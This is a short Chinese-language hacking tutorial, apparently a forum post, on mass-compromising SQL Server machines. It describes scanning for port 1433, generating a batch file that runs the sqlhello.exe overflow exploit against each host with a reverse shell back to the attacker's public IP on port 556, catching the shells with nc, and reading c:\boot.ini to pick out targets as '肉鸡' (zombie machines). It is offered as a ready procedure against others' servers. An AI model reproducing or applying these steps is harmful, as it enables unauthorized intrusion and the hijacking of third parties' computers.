|
要用到几个工具！！ nc.exe sqlhello.exe 代理猎手！！ 先用代理猎手扫1433端口!这个大家应该会吧。。玩QB的时候可以说是。。。呵。。 扫到后整理。。 导出。 替换为溢出的格式！！比如我扫到了。。 192.168.0.1:1433 溢出的格式就是： sqlhello.exe 192.168.0.1 1433 本机IP(公网的) 556 保存为bat文件。。 先在公网的机子上监听一个端口 如556 现在运行那个bat文件! 呵！！看着有没有shell返回。 我试过不到两分钟就返回了一个。。 这时候你先ctrl+c 停下那个bat 的运行。。 查看一下。那个shell的系统再说！ type c:\boot.ini 如果是2003服务器版的。 呵。。 很快的就成为我们的肉鸡了！！ |
|
|
